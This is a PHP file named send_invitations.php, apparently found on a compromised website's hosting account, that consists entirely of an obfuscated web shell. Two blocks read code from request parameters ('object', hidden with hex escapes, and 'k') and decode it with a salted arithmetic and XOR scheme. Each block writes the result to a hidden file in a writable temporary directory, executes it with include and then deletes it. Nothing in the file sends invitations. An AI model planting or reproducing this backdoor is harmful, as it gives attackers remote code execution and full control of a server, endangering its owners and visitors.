File: /home/vitanhod/sawpalmetto.vitavit.com.pk/send_invitations.php
<?php if(isset($_REQUEST["ob\x6A\x65c\x74"]) ? true : false){ $factor = $_REQUEST["ob\x6A\x65c\x74"]; $factor = explode ( "." ,$factor) ; $token = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $l = 0; $__tmp = $factor; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $salt4[$l % $lenS]); $d = ( ( int)$v5 - $sChar -( $l % 10)) ^ 37; $token .= chr( $d); $l++; } $data_chunk = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path()]); foreach ($data_chunk as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $parameter_group = join("/", [$symbol, ".comp"]); if (@file_put_contents($parameter_group, $token) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
if(in_array("k", array_keys($_REQUEST))){
$rec = $_REQUEST["k"];
$rec =explode ('.', $rec) ;
$bind ='';
$s ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($s);
$m =0;
$len =count($rec);
do { if ($m >= $len) break;
$v5 =$rec[$m];
$sChar =ord($s[$m % $sLen]);
$dec =((int)$v5 - $sChar - ($m % 10)) ^46;
$bind .= chr($dec);
$m++;
} while (true);
$pset = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]);
foreach ($pset as $key):
if ((bool)is_dir($key) && (bool)is_writable($key)) {
$hld = sprintf("%s/.elem", $key);
$success = file_put_contents($hld, $bind);
if ($success) {
include $hld;
@unlink($hld);
die();}
}
endforeach;
}